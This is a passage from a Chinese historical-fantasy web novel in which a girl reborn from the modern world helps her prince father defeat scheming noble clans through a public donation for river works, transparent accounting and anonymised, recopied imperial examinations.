“工程停滞、谣言四起,我们之前救灾积累的好名声正在被消耗。这些世家是铁了心要扼杀我们。就算我们强行推进,这资金缺口巨大,人心不齐,恐怕…”
姜肃没有立刻回答。
他走到窗边,望着庭院中沉沉夜色,沉默无言。
对手的狠辣与周全,确实超出了他最初的预料。
他们不是莽夫,而是精于权术,善于利用规则和人性弱点的毒蛇。
但是,难道真要眼睁睁地看着利国利民的良策被这些魑魅魍魉扼杀?让稚儿的心绪和期盼落空?
就在这时,书房门被轻轻推开。
披着一件月牙色小斗篷的姜稚,顶着夜露,端着一碗参汤走了进来。
她刚刚才被嬷嬷劝去休息,此刻却又偷偷溜了过来,小脸上满是关切和未散的困意。
“爹爹,您还在忙?夜深了,喝点参汤吧。当心身体。”
她将汤碗轻轻放在父亲手边,目光扫过书案上那些刺眼的文书。
姜肃心中一软,端起汤碗喝了一口,温声道:“爹爹还有些事要处理,稚儿快去歇息吧。”
姜稚这次却没有听话地马上离开。
她看着父亲眉宇间掩不住的疲惫和凝重,又看了看那些写着“火油痕迹”、“船夫失踪”、“预算驳回”、“民夫拒征”字样的公文,小拳头悄悄握紧了。
那些字眼组合在一起传达出的恶意与困局,让姜稚心头揪紧。
作为现代穿越过来的历史系高才生,她没有像一般孩童那样茫然或不知所措,而是抿了抿唇,黑曜石般的眸子里闪过一丝与年龄不符的锐利。
第45章 用百万白银“砸碎”坏人脑袋
雍王府书房内。
姜稚看着这些世家的阴谋诡计,心中愤恨难安。
【火油、失踪、抬价、谣言…这绝不是意外,是有人在系统的破坏!】
【他们是怕新法治河成功,怕爹爹和‘稚川先生’声望更高,怕触动他们的利益链!】
【卡预算、拖时间、制造事端、煽动民意…好狠毒的算计!他们是想把工程活活拖死、逼停!】
姜稚的心声冷静得惊人,迅速将散乱的信息拼凑出完整的阴谋轮廓。
愤怒在她胸中燃烧,但更强烈的是一种破局的冲动。
【光生气没用,爹爹现在一定很为难。】
【朝廷的拨款被卡,地方上阻力重重,人心浮动…此时该如何是好?】
姜稚小小的手指在下巴上摩挲起来。脑子突然灵光一闪。
【钱!人心!关键是这两样!】
【如果…如果‘稚川先生’能在这个时候,主动站出来,用无可争议的力量,一举砸碎这个僵局呢?】
一个大胆至极的念头,在姜稚脑海中轰然炸开,轮廓迅速清晰。
【五十万两!不,要更多,要震撼!就以‘稚川先生’的名义,公开宣布,捐赠一百万两白银,专款专用,无偿支持‘束水攻沙’治河!】
【而且要声明,这笔钱纯粹是为了黄河安澜、百姓安居,不图任何回报。而且在此期间,商行不参与工程经营,还时刻接受朝廷和天下人共同监督!】
【要把条件摊得明明白白,堂堂正正!】
【如此这样,看那些嚼舌根的还能说些什么?看那些卡预算的,还有什么理由!他们再敢刁难,就是与这笔救急的巨款为敌,与万千期盼治河的百姓为敌!】
姜稚的思绪飞快运转,甚至开始模拟各种可能出现的诘难和应对。
【肯定会有人说商贾沽名钓誉。那捐赠的资金就由朝廷,以及民间有威望的人一起监管,每笔出入定期公示。】
【稚川先生可以明摆着告诉大家,他就是有钱,就是愿意为国为民花这个钱!看谁还能挑出理来?】
【如此这般,那些在地方上捣鬼、抬价、阻挠的势力,在如此压力下,还敢继续作祟吗?】
【而皇爷爷见有人愿意为大晟江山花大钱,必定龙颜大悦,全力支持。】
【到那时,谁还敢再伸手,就是找死!】
越想,姜稚越觉得这条路可行。
这不是阴谋,而是阳谋!
是用绝对的实力和堂堂正正的气势,去碾压这些蝇营狗苟!
姜稚想到这儿,仿佛已经看到行动之后,可能引发的轰动和效应。
一旁的雍王姜肃,在最初听到女儿心中的话后,就一直沉浸在震惊中,久久无法走出。
看到女儿从最初的义愤填膺,到最后缜密的思路,姜肃只觉女儿如同神秘宝藏一般,总是给人意想不到的惊喜。
这边,姜稚深吸一口,压下心中的激动,抬起小脸,眼睛亮晶晶地看着父亲,
声音不大,却字字清晰:
“爹爹,豫州的火,不是天灾,对吧?那些坏人是想吓住我们,让治河的事做不成。”
她顿了顿,仿佛在组织语言,“他们是不是觉得,朝廷钱不够,地方乱糟糟,我们就会害怕,就会放弃?”
姜肃转过身,看着女儿。
在她清澈的眼眸深处,他似乎看到了某种熟悉的、令他心悸的慧光在闪烁。
姜稚继续道,语气逐渐带上一种她自己都未察觉的决断力:
“爹爹,‘稚川先生’那么有钱,又那么想治好黄河。如果…如果他告诉所有人,治河缺多少钱,他一个人出了!不要朝廷还,也不要别的,就是真心想让黄河听话,让老百姓不再怕洪水。”
“他把话说得明明白白,钱也拿得明明白白,让全天下的人都看着、监督着。您说,那些放火的、造谣的坏人,会不会气得跳脚?”
“那些担心河神发怒的老百姓,会不会安心很多?那些犹豫不敢出力的乡亲,会不会更有劲头?”
姜稚的话,带着稚嫩的表达,但内核却精准无比,直指破局的核心——
以绝对公开、绝对实力、绝对正当性的方式,粉碎一切阴私伎俩!
“稚儿,”姜肃的声音因激动而微微发颤,他蹲下身,平视着女儿的眼睛,“你来告诉爹爹,‘稚川先生’该如何做?”
之前听到女儿的心声是一回事,但亲耳听到从女儿嘴里说出来,那种震撼感还是无与伦比的。
姜稚受到鼓励,眼睛更亮,话语也愈发流畅:
“‘稚川先生’可以写一个大大的告示,贴在最热闹的地方去。”
“告示上就说:为根治黄河,愿捐白银一百万两!这笔钱,专门用来修‘束水攻沙’的堤坝,每一文钱怎么花,都记下来给大家看。”
“‘稚川先生’不要官,不要利,只要黄河平安!”
“治河后,如果还有剩下的钱,就帮沿河的小孩子读书,帮穷苦的人家过日子。”
姜稚想了想,又补充道,“告示要写得让人看了就想哭,又想笑,觉得‘稚川先生’是天底下最大最大的好人,那些坏人都是最坏最坏的臭虫!”
姜肃心中巨震,看着女儿清澈却仿佛燃烧着火焰的眼眸,一股热流涌遍全身。
他的稚儿,在关键时刻,再度给了他一把最锋利的武器!
姜肃再无迟疑,他猛地站起,眼中疲惫尽扫,取而代之的是破釜沉舟的锐利光芒。
“稚儿,天色很晚了。你先回房早点休息。”姜肃柔声将姜稚哄回了自己房间。
“福伯!”待女儿离开书房,姜肃立刻沉声喝道,声震屋瓦。
“属下在!”福伯凛然应声。
“立刻传信给福安,以‘稚川先生’之名,起草《为国治河捐输告天下书》!内容就按…”姜肃心中响起女儿方才说的话,心中激荡。
“按最赤诚、最坦荡的方式来写!务必写明捐银,一百万两!”
“‘稚川商号’无偿捐输!不涉工程,不求名利,惟愿黄河安澜,百姓安居!望乡老及天下共同监管!若有盈余,悉数用于沿河州县兴学、济贫、备荒!”
姜苏每说一句,气势便高涨一分:
“告成之后,以最快速度,在各大市口立榜宣示。驿马加急,通传全国!我要让这份告示,在三天之内,人尽皆知!”
“是!”福伯闻言也是热血沸腾,躬身领命,转身疾步而去。
姜肃再次望向庭院。
此刻天上乌云稍散,月亮露出了柔和的亮光。
而姜肃目光无比柔和又充满骄傲,“稚儿,幸亏有你!又帮了天下百姓一个大忙。”
第46章 盐引制最终落地
次日,一份字字千钧、盖着鲜红“稚川”印鉴的巨幅告示,矗立在京城朱雀大街口。
告示一出,如同平地惊雷,整个帝都为之失声,并随着早有准备的快马信使,飞奔向大晟的各个州府。
公告内容慷慨激昂,掷地有声。
不仅宣布了百万两白银的巨额捐赠,也表达了“但求黄河安澜,不问个人得失”的赤子之情,以及接受全民监督的坦荡胸怀。
一石激起千层浪!
百姓沸腾了!
一百万两!无偿捐赠!专治黄河!账目公开!余款济世!
商界也随之震动!
许多原本观望着,甚至被世家拉拢的商人,也被这份公告中的纯粹与大气所震撼。
原来经商致富,还可以这样回馈家国!
对比之下,那些躲在暗处使绊子的行径,显得何等卑劣!
不少有识之士开始反思,风向隐隐转变。
沿河百姓的赞誉对“稚川先生”的感激更是如山呼海啸。
朝堂之上,皇帝手持告示副本,当即下旨,全力表彰“稚川先生”义举,责令工部、户部等务必配合,用好这笔捐赠。
谁若敢从中作梗,必定严惩不贷!
王珣在府中摔碎了最心爱的紫砂壶,窦国舅脸色惨白如纸。
他们精心布置的毒网,在这“万金破局”面前,如同冰雪消融,瞬间崩解。再要动作,就是与天下为敌,与皇帝明旨作对!
阴谋的阴影,被这最纯粹的善意与最雄厚实力铸就的光明,彻底驱散。
治河工程,注入了前所未有的强心剂。
而这一切风暴的中心,那个只觉得自己“出了个好主意”的小小少女,正安然享受着爹爹的夸奖和嬷嬷新做的桂花糖。
殊不知,她已亲手执棋,落下了一子定乾坤的妙手。
“稚川先生”百万认捐的惊世之举,余波久久不息。
最直接的体现,便是那座沉寂多年的先农坛畔,悄然立起了一座崭新的石碑。
碑文由皇帝御笔亲题“义商济世”四个大字,下面以小楷详述“稚川先生”于黄河水患之际的赈灾义举与万金捐输的始末。
这并非朝廷旌表常用的牌坊,而是一方朴拙厚重的青石,寓意着这份功绩将如磐石般永固。
孩童们绕着石碑追逐嬉戏,稚嫩的童谣“稚川公,修黄河,万家百姓笑呵呵”不胫而走,飘荡在京城的大街小巷。
这汹涌的民意与皇帝立碑定性的荣宠,化作一股无可阻挡的推力,狠狠撞开了“盐引制”推行道路上最后的障碍。
半月后,太极殿前,钟鸣鼎沸。
皇帝姜桓身着十二章纹冕服,于百官朝贺声中,亲手将盖有传国玉玺的《盐引新制总章》金册,交到主理此事的雍王姜肃手中。
阳光照耀下,金册流光溢彩,映得姜肃一身亲王蟒袍愈发威严赫赫。
那一刻,无数道目光聚焦在他身上,羡慕、敬畏、嫉妒、憎恨…
窦贵妃与谢太师均称病未至,王珣立于文臣前列,低垂的眼睑下,眸光阴鸷如深潭。
雍王府门前,自圣旨颁下后,车马几乎未曾断过。
递帖子求见的官员从五品到一品皆有,礼单如雪片般飞入府中库房。
姜肃一概以“正与工部、户部同僚商议盐引细则及治河要务”为由,大部分婉拒见面,只偶尔见几位真正干练或立场微妙的实权人物。
书房内,紫檀木大案上堆积的卷宗几乎要将埋头其中的姜肃淹没。
他时而凝神批阅,时而与奉命前来议事的官员低声交谈,条分缕析,指令清晰。
所有人都能感受到,这位曾经温润甚至有些软弱的雍王,如今已淬炼出截然不同的气场。
然而,真正的暗流从未停歇。
一些与世家,尤其是王家跟窦家关系密切的商帮,或者地方势力,开始以更隐蔽的方式设置障碍。
一份来自福安的密报在几日后,被小心呈上,信上称:
江南三大盐场,除稚川商行按新盐引定额提取的盐斤顺利出仓外,其余旧引盐商出货均受当地漕帮‘关照’,盘查勒索,延误日久。
另外,河东路那边,几家获得运送首批新盐引官盐的车队,在必经峡道遭遇‘山石意外滚落’,虽未伤人,但盐车损毁数辆,损失不小,人心惶惶。
纸页上还附着暗哨绘制的简易山地地图,标示出几处易于被下手的地段。
另一份来自豫州治河工地的密报则写道:
“…‘束水工程’三号水门基坑处,夜巡队抓获两名试图松动支撑木的闲汉,自称受人雇佣,只言雇主蒙面,不知来历。”
“工地粮仓近日发现霉米掺杂。追查下来,系采买小吏收受不明来历银钱所为。该吏于日前已‘暴病身亡’。”
“工地上流传新谣言,称‘稚川’捐款实为雍王殿下与江南巨富联手做戏,款项并未全数到位,工程款项已被层层克扣…”
而最后一份密报言简意赅,却让姜肃目光骤冷:
“窦国舅府暗卫统领,三日内两赴宗人府后巷,与一瘸腿老仆密谈。”
“经查,此老仆乃废太子姜诚幼时乳母之子,现为宗人府西南角门看守。”
“窦贵妃宫中,太医院副使周太医连续五日请平安脉,所开药方皆存档。”
“经核查,内有朱砂、磁石、远志等物,剂量微妙,似为镇癫安神之方。然配方却与贵妃平日症候略有出入。已设法取得药渣,正秘密查验。”
“王爷,对方这是恼羞成怒,无所不用其极了。”心腹幕僚低声道,面带忧色。
姜肃将密报凑近烛火,缓缓点燃,看着跳跃的火苗吞噬那些阴暗的字句,神色平静无波:
“跳梁之辈,黔驴技穷罢了。”
“盐路之事,让福安动用备用的隐秘路线和关系,必要时可请沿途靖安司协助。”
“工地上,通知我们的人,加强巡查。务必要抓住捣乱之人的实证,然后直接送交安察司,不必经过地方。”
“至于宫里和宗人府…”姜肃顿了顿,声音更低,却字字清晰,“加派人手,盯死!我要知道,他们想用那些药跟前太子姜诚,玩什么花样。”
幕僚领命而去。
姜肃独自站在窗前。
暮色四合,庭院中的灯笼次第亮起,勾勒出飞檐斗拱的轮廓。
他揉了揉眉心,连日劳累与紧绷的心神带来一丝疲惫。
他对废太子的动向一直关注,从未掉以轻心。
想起女儿在襁褓时的预言,说废太子会将雍王府上下满门抄斩,总感觉就如阴云罩顶,挥之不散。
但想到那个总用清澈眼神和“无心”话语点亮晦暗的小小人儿,那点疲惫与不安便如春阳下的薄雪,悄然消融。
第47章 爹爹,我来教你怎么用“**压力”
书房门被轻轻推开一条缝,一颗梳着精致双螺髻的小脑袋探了进来,发间点缀的珍珠在灯光下泛着柔和的光泽。
来人是姜稚。
她穿着一身湖水绿的襦裙,外罩月白绫纱半臂,手里小心翼翼端着一个红漆托盘,上面放着一盏冒着袅袅热气的冰糖炖雪梨。
“爹爹,”她声音软糯,带着一丝完成任务的小心翼翼,“娘亲炖了雪梨,说您近日说话多,嗓子需润润。我给您端来了。”
她迈着小碎步走进来,将托盘放在书案一角,眼睛却忍不住瞟向桌上那些摊开的、写满字的公文,小脸上满是好奇与关切。
姜肃心中一暖,脸上冷硬的线条瞬间柔和下来。
他接过女儿捧上的瓷盏,温度透过杯壁熨贴着手心。
“多谢稚儿,也替爹爹谢谢娘亲。”他尝了一口,雪梨清甜温润,直入肺腑。
姜稚没有立刻离开,而是蹭到父亲身边,目光落在一幅摊开的、绘有黄河河道与堤坝标记的舆图上。
她伸出纤细的手指,轻轻点了点一段标红的位置,仰起小脸问:
“爹爹,这里就是要修的地方吗?现在修得怎么样了?那些使坏的坏人,是不是都被赶跑了?”
姜稚的眼神清澈见底,里面映照着跳动的烛火,也映照着姜肃眼中复杂的情绪。
他放下瓷盏,将女儿揽到身旁,指着舆图,缓缓道:
“这里正在加紧修呢。有了‘稚川先生’的捐输,钱粮物料充足,很多好工匠都去了。”
“不过,现在仍一些心术不正的人,不甘心看到黄河被治好,变着法儿捣乱。比如偷偷弄坏材料,或者散播谣言。”
姜稚闻言,粉嫩的嘴唇抿得紧紧的,显出与她年龄不符的严肃:
“他们太可恶了!黄河修好了,对大家都好呀!‘稚川先生’花了那么多钱,不就是想让老百姓不再受苦吗?这些人怎么只顾自己!”
她气鼓鼓的样子,活脱脱像只捍卫领地的小兽。
【这些人真是蛀虫!光想着自己捞好处,不管别人死活!爹爹他们在前面辛辛苦苦筑堤修坝,他们在后面挖墙脚!】
【看样子,光靠抓是行不通的,得让干活的人都知道,好好干有重赏,捣乱使坏必受严惩!奖罚分明,大家才肯出力。】
听着女儿愤慨又条理清晰的“心声”,姜肃眼底掠过一丝笑意与更深沉的思索。
他顺着女儿的“话”道:“这奖罚需分明。爹爹已下令,对举报破坏、勤勉有功的工匠民夫,给予厚赏。对抓获的捣乱者,严惩不贷,公示其罪状。”
“至于谣言…”
姜肃说到这儿,略微顿了顿,看向女儿,“稚儿觉得,该如何应对那些说‘稚川先生’捐款是假的,或者钱被贪了的谣言呢?”
姜稚眨巴着大眼睛,认真思考起来。
她想起现代社会中经常说的“公开透明”,又联想到网络平台上经常看到一些主播把现实发生的事情编成段子,来扩大影响。
一个主意渐渐成形。
姜稚迫不及待地跟姜肃分享起来:
“爹爹,我觉得咱们是时候要把账目亮出来一次了。”
“这修河买了多少石料、木料,付了多少工钱…一笔一笔,请那些有名望的老先生,还有百姓里选出来的代表一起核对、监督,然后张榜公布。”
“咱们要贴就贴在最显眼的地方,比方说在城门口、码头边…反正是让大家都能看见的地方!”
“再请说书先生、戏班子,把‘稚川先生’怎么救灾、怎么捐钱修河的事,编成好听的故事、好看的戏,到处去讲、去演!搞一波**效应。”
“这真的假不了,大家眼睛是雪亮的!看那些造谣的人还怎么胡说!”
姜稚的话再次提供了清晰可行的路径,而且更具体,更具操作性,甚至包含了利用民间文艺进行宣传的超前意识。
姜肃心中赞叹,面上却不露分毫,只是引导般问道:
“若是有人不信官府张榜,也不爱听说书看戏呢?”
姜稚歪着头,想了想,眼睛一亮:
“那就让他们自己亲眼去看呀!”
“爹爹可以找一个特殊的日子,让百姓代表,或者学堂里的先生学生,
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亲眼去修河工地上看看!”
“看看那么多人在热火朝天地干活,看看堆成山的物料,看看已经修好的一段段结实的堤坝!耳听为虚,眼见为实嘛!”
好一个“耳听为虚,眼见为实”!
姜肃几乎要抚掌称叹。
他看着女儿那因为想出办法而微微发亮的小脸,心中充满了难以言喻的骄傲与柔软。
他的稚儿,不仅有一颗剔透的仁心,更有破局解困的急智与魄力。
这些想法,或许视角与众不同,但其核心无一不是应对当前困局的良方,甚至比许多官场的幕僚想得更透彻、更贴近民心。
“稚儿此计甚妙。”姜肃郑重地点点头,仿佛是在采纳一个重要谋士的建议。
“爹爹会仔细思量,与同僚商议。或许,真可依此而行。”
得到父亲的肯定,姜稚顿时笑靥如花。
她心满意足地端起空了的瓷盏,像只快乐的小蝴蝶般飞了出去,留下满室若有若无的甜香,以及姜肃久久凝视她背影的深沉目光。
窗外,月色渐明。
几天后,遥远的北方边关,肃杀的秋风中,龙渊军大营的主帅帐内,一身玄甲未卸的姜寒川,正就着牛油烛火,阅读最新一封来自京城的密信。
信中对“稚川先生”立碑、盐引制落地、以及雍王府应对各方暗流的种种举措描述甚详。
当读到关于如何应对治河谣言、民间监督、**引导等片段时,他冷硬如石刻的眉峰微微挑动了一下。
嘴角的笑意意味不明。
同一时刻,在雍王府最深处,那间充满书香与女孩儿特有馨甜的竹心轩里。
姜稚正趴在窗边的软榻上,就着明亮的烛光,翻看一本新搜罗来的前朝水利札记。
她并不知道,自己那些“乱七八糟的想法”,早已通过父亲这座桥梁,化作“稚川先生”一次次惊艳朝野的决策与行动。
她更不知道,自己与那位神秘的“先生”,实为一体。
命运的丝线,在无人知晓的暗处,早已紧紧缠绕,只待一个揭晓的契机,便会让整个天下为之震惊。
第48章 九年义务教育下的好青年
夜色愈深,京城各处宅邸中,灯火或明或暗。
吏部尚书府中密室内的空气凝滞而压抑,烛火在王珣沟壑纵横的脸上投下跳动的阴影。
他指尖摩挲着一枚温润的古玉,声音低沉,“盐引、治河,一时受挫罢了。”
“盐铁之利,可让,治河之功,可分。但是,取士之权,乃我世家命脉所系,绝不可丢失分寸!”
“下一次春闱,才是一决生死之地!”
“我已命族中子弟加紧准备,各州郡推荐名单中,务必确保我世家才俊占据七成以上!那些寒门的穷酸士子,偶有一二出众者,要提前‘打点’,务必令其科场失意!”
“同时,发动清流,继续攻讦商贾涉政,盐引之利诱人逐利,败坏士林风气!”
“我们要让天下人知道,谁才是这大晟江山的基石,谁才有资格位列朝堂!”
一旁一名谢氏家族的子弟也赞同的点头,眼中厉色一闪:
“姜肃小儿,仗着有个‘福娃’,还有那个一直藏头露尾的‘稚川’,便想翻天?此番便要让他知道,什么是真正的百年根基!”
“寒门?哼,纵有几分歪才,也不过是泥沼里的杂草,岂能与芝兰玉树争辉?一切按计划,务必会让榜单之上,十有**皆是我世家清流!”
另一名弘农杨氏的子弟,也附和道:
“已经在贡院内外布置妥当。搜检、号舍安排、饮食供给等,皆在我们的掌控之内。必定确保我世家子弟安心应试,无后顾之忧。至于其他人…”
“哼哼,咱们有的是办法让他们‘状态不佳’,无心应试。”
在他们眼中,这不过是又一次按部就班的收割,一场毫无悬念的碾压。
数百年的规则和潜规则,早已将科举编制成一张密不透风的网。
而这张网,也只为他们认可的人敞开。
然而,他们没有人会知道。就是这张看似精心构筑的自信壁垒,即将被一种来自另一时空的“公平理念”洞穿。
而这理念的源头,此刻正托着腮,在雍王府满是暖阳的书房里,对着父亲书案上堆积的案卷,发出轻不可闻的叹息。
转眼间,姜稚已经九岁了。
她的身量又拔高了些,眉眼间的灵秀之气愈盛。
安静时,那双酷似姜肃的凤眸里,偶尔会流转过与年龄不符的沉静思量。
此刻,姜稚并非刻意探听,只是父亲近来眉间锁着的愁绪,书房里通明的灯火,以及偶尔飘入耳中的“寒士”、“不公”、“请托”等词汇,让她无法视而不见。
这日,姜稚端着一碟新做的梅花糕进来,见父亲姜肃正对着一份文章摇头,神色间满是惋惜。
她轻轻放下糕点,目光落在展开的卷轴上。
那是一篇论“漕运利弊与革新”的策论。
文章条理清晰,数据详实,提出的“分段转运”、“官督商办”等想法颇具见地,字迹也挺拔有力。
“爹爹在看什么呀?看得这么入神。”姜稚轻声问。
姜肃从沉思中回神。
见是女儿,勉强笑了笑,接过羹盅:
“春闱将至,爹爹在看往届士子的文章。只是这些文章…”姜肃摇摇头,没有继续说下去,觉得此时跟女儿说这些还有点为时尚早。
“爹爹,这篇写得不好吗?”看出父亲的欲言又止,姜稚反而来了兴趣。
此时的她已能通读这个朝代大部分文章。
“我觉得…这文章里面说得很有道理呀。比之前看到的那些光会之乎者也、溜须拍马的好多了。”
姜稚简单阅览了一番,中肯地评价道。
“文章本身是极好的。观点也是见解独到。只可惜…”
姜肃语气顿了顿,苦笑道,“写这文章的士子,乃寒门出身,无显赫师承,亦无人举荐。落在那些看重门第的考官眼中,终是难入上等。”
他本只是随口一叹,却见女儿的小眉头紧紧蹙了起来,脸上露出毫不掩饰的困惑与不满。
【文章好坏,难道不就是看文章本身吗?为什么要看出身,看有没有人打招呼?凭什么?!】
【这不就像赛马不看马跑的快慢
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,只看马鞍镶不镶金边一样荒谬吗?!】
作为九年义务教育下培养出土的有志青年,姜稚深知,一场公平考试对试图改变自己命运的人的重要性。
【如果…如果能让考官根本不知道文章是谁写的呢?】
一个近乎本能的、追求绝对公平的念头,在她心中轰然炸响。
前世作为历史系学生,对科举制度演变的知识碎片,在此刻被强烈的义愤所激活、重组。
【糊名!对,把考生姓名、籍贯、一切能标识身份的信息全部封住!让考官面对的就是一份纯粹的、匿名的文章!这样考官就不知道是谁的卷子了。】
【哦,差点忘了,还有字迹,熟人可能认出来…】
【可以誊录!安排专门的书吏,把所有考卷重新抄录一遍,用统一的字体、格式,这样的话,这个‘破绽’也就堵**!】
【看他们还怎么‘以名取人’、‘以迹取人’!】
姜稚的思绪飞速运转,眼神越来越亮,仿佛抓住了某个关键。
她甚至下意识地开始模拟操作流程,思索间对着姜肃侃侃而谈起来:
“爹爹,我有个笨想法…既然考官会因为知道是谁写的而偏心,那我们不让他知道不就行了?”
“把写文章的人的名字用纸糊起来!”
“还有,每个人的字迹不一样,熟人可能认得,那就找些不认识的人,把所有的卷子都重新工工整整抄一遍…”
“这样考官就只能看文章写得怎么样了!是不是就公平很多了?”
姜稚的声音清脆,带着直白和执着,用最朴素的比喻将石破天惊的想法阐述出来。
姜肃的手猛地一滞,梅花糕的微甜尚在舌尖,心潮却已如惊涛拍岸!
女儿的心声和话语,如同醍醐灌顶,瞬间照亮了他心中长久以来因科举不公而淤塞的黑暗角落!
是啊,何其简单,何其直接!
不攻击考官品行,不否定世家教育,只是从外部手段上创造一个绝对公平的评判环境!
釜底抽薪,不外如是!
第49章 “百年科举制”要被公主“玩”坏了
雍王府,书房内。
姜肃抬眸,深深看向女儿姜稚。
小家伙也正睁着清澈见底的眼睛望着他,似乎有些忐忑,不知道自己的“笨想法”是否可笑。
阳光透过窗棂,在姜稚细腻的脸颊上镀了一层柔光,那专注而认真的神情,竟让姜肃有一瞬间的恍惚。
仿佛眼前的不是自己九岁的女儿,而是一位洞悉世情、胸怀锦绣的智者。
姜肃深吸一口气,脸上露出一种混合着惊奇、赞赏与无比郑重的神色。
他没有像往常那样简单地夸赞“稚儿聪慧”,而是用一种近乎平等的探讨语气,缓缓道:
“稚儿此想…非同小可。”
“‘糊其名,使人不知谁氏之子;录其文,使人莫辨孰人之笔。’此法,若真能施行,则请托之路绝,门第之见消。”
“天下士子,无论贫富贵贱,皆可凭胸中所学,一较高下!”
姜肃刻意引用了略显文雅的解释,既是对女儿想法的升华肯定,也是借此观察女儿的反应。
姜稚眨了眨眼,父亲郑重其事的态度让她有些意外,但“凭胸中所学一较高下”这些话,却让她心中那份正义感得到了极大的认同和满足。
她用力点点头:“嗯!考试就该这样!就像蒙着眼睛品尝点心,谁好吃谁不好吃,全凭舌头说了算。跟点心是谁做的、用什么盘子装没关系!”
姜肃闻言,心中最后一丝疑虑也烟消云散。
女儿并非偶然提及,她是真正理解了“公平”的精髓,并用她自己的方式坚定地拥护它。
既如此,那么他就以此为助力,完成女儿的想法!
姜肃没有立刻大肆声张,而是开始了更为周密、更有策略地推进女儿所说的内容。
他先以此为契机,开始系统性地引导姜稚接触更深入的朝局与制度思考。
他“无意间”将更多关于科举历史、取士争论、乃至世家与寒门矛盾的典籍、文书“遗落”在姜稚能够接触的地方。
他也会在与心腹幕僚议事时,特意选择姜稚可能在附近玩耍的时段,讨论诸如“如何衡量文章真才实学”、“前朝有哪些取士公平的尝试”等话题。
果然,姜稚的“心声”被不断激发、补充和完善:
【光糊名誊录可能还不够。万一考官从文章风格、用典习惯猜出是哪个学派、哪个地域的考生呢?】
【是不是还要对内容本身有些规定?不过那样可能限制思想…这有点难办。】
【或者,增加复试?匿名初试筛选过关的人中,再面试考察品行仪表谈吐?】
【可是如此一来,他们是不是会说这样选出来的人不知根底?】
【那就加强考后的审查和试用期!而且,要是皇爷爷亲自支持,甚至亲自出题…这样那些考官就不敢乱来了。】
【是不是可以先找个不那么重要的考试先试试水?比如举办一场特殊的招考?成功了再推广?】
这些零零碎碎的思考,如同散落的珍珠,被姜肃一一小心拾起,串成了一条完整而具有说服力的策略链条。
他结合朝局,将这些“灵感”融会贯通,形成了包括“试行特科”、“皇帝亲命主考”、“严格监察流程”等等在内的一整套方案。
姜肃还秘密联络了几位素有清明,对科举弊端深恶痛绝的翰林学士和御史,以探讨“如何为国取真才”为名,私下交流。
几位有识之士初闻此议,皆是大惊,继而深思,最终拍案叫绝!
此法虽看似有违“熟悉考生、知其品行”的传统,但在当前世家把持、请托成风的境况下,无疑是打破僵局,选拔真才的一剂猛药!
时机逐渐成熟。
在一次小范围的御前议政中,当话题再次涉及到春闱将至,寒士难鸣时,姜肃看准时机,郑重提出了“试行糊名誊录之法,以绝请托,以彰公平”的建议。
其准备之充分、思虑之周全、对可能质疑的应对之缜密,令许多中间派官员都暗自点头。
此言一出,满殿哗然。
吏部尚书王珣第一个跳出来激烈反对,脸色涨红:
“荒唐!科举取士,乃为国选才,岂能儿戏!”
“考官熟知士子文风、品行,方能全面评判。糊名誊录,考官如同盲人摸象,如何能确保所选之人德才兼备?”
“此乃因噎
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废食,坏我百年取士之基!”
支持姜肃的官员则据理力争:
“王尚书此言差异!当前科举,请托盛行。考官所‘熟知’者,恐怕多是世家子弟。寒门士子纵有经天纬地之才,因无人举荐、无钱打点而名落孙山。”
“糊名誊录,正是要杜绝此弊,让天下士子站在同一起点,不计背景,全凭文章定高下!至于品行,待监察后续考核即可。”
“当下岂能因噎废食,继续容忍眼前不公?”
双方吵得不可开交。
反对者斥责对方“破坏传统”、“有失慎重”;支持者则高呼“公平至上”、“利在千秋”。
皇帝姜桓高**,听着双方的激辩,面色看似沉静,其实心中却是波澜起伏。
世家把持仕途,皇权亦受掣肘。
雍王所提的“糊名誊录”,虽前所未有,却直指要害,简单而犀利。
这法子,倒是跟之前“盐引制”、“束水攻沙”的改革颇有几分相似,都是看似颠覆,实则直击根本。
皇帝的目光扫过争论不休的群臣,又落在沉稳站立在一旁的雍王姜肃身上。
既然这个儿子已经将破局思路打开,那自己为何不顺势而为哪?
“够了。”
皇帝缓缓开口,殿内瞬间安静下来。
“科举取士,关乎国本,确需谨慎。然积弊已久,亦当思变。雍王所奏之法,虽有争议,但却不失为革除时弊的一种方法。”
说到此处,皇帝顿了顿,在世家官员们难看的脸色中,继续道:
“今科春闱,一切章程已定,骤然全改恐引起混乱。但,可于本科进士放榜之后,额外增设一场‘特科’考试。”
“此‘特科’,专为选拔有实学,有见解而或在常规科考中遗落之才。”
“‘特科考试’,便试行‘糊名誊录’之法。由朕亲自指派信重之臣主考,严格监察。”
“成绩优异者,同样赐予出身,量才授官。”
“如此,既可不扰常科考试,又可试验新法,选拔真才。诸卿以为如何?”
皇帝的目光扫视着阶下臣子,无形的威压默默加诸在所有人身上。
第50章 “阴谋诡计”释放中
皇宫,御书房内。
皇帝威严的目光扫过底下的臣子。
皇帝这次的决定,可谓老谋深算。
不直接动常规科举,避免了与世家撕破脸皮,以免引发剧烈的动荡。
但增设“特科”,试行糊名,无疑是在世家把持的科举铁幕上,撕开了一道口子,放进了一丝公平的阳光。
更重要的是,这给了寒门士子一个前所未有的、相对公平的晋升机会!
“陛下圣明!”
雍王姜肃与支持改革的官员大喜过望,立刻躬身领命。
王珣等人虽心有不甘,但皇帝金口已开,理由又看似充分,他们一时间也找不到更强力的理由反对。只得阴沉着脸,跟着一起应下。
但他们心中清楚,这“特科”若真让一批寒门士子脱颖而出,对世家声望以及他们的垄断地位的打击,将是巨大的。
朝堂上的消息如同长了翅膀,迅速传遍京城,继而传向天下各个州府。
寒门士子闻讯,先是难以置信,继而狂喜!
多年压抑的委屈和不平,终于看到了一线曙光!
贡院之外,甚至有激动的年轻士子,朝着雍王府方向,遥遥长揖。
无数苦读数年、才华横溢却屡试不中的读书人,如同久旱逢甘霖,纷纷摩拳擦掌,准备在这前所未有的“特科”中,一展平生所学。
“糊名誊录”,“公平取士”,成了街头巷尾最热门的话题。
寒门士子的热情被彻底点燃,各地符合条件的读书人纷纷涌向京城。
一时间,京中客栈爆满,书肆里笔墨纸砚销量激增,连带着茶楼酒肆间高谈阔论、纵论时政的风气都兴盛了许多。
而提出此议的雍王姜肃,以及一直未曾露面,总是闷声干大事的“稚川先生”,成为大家心中的希望之光。
雍王府内,姜稚听着丫鬟们兴奋地讲述外面的传闻。
当得知那个“把名字遮起来考试”的法子竟然真的被父亲采用,姜稚的嘴角噙上了一丝浅浅的、了然的微笑。心中更是充盈着淡淡的成就感。
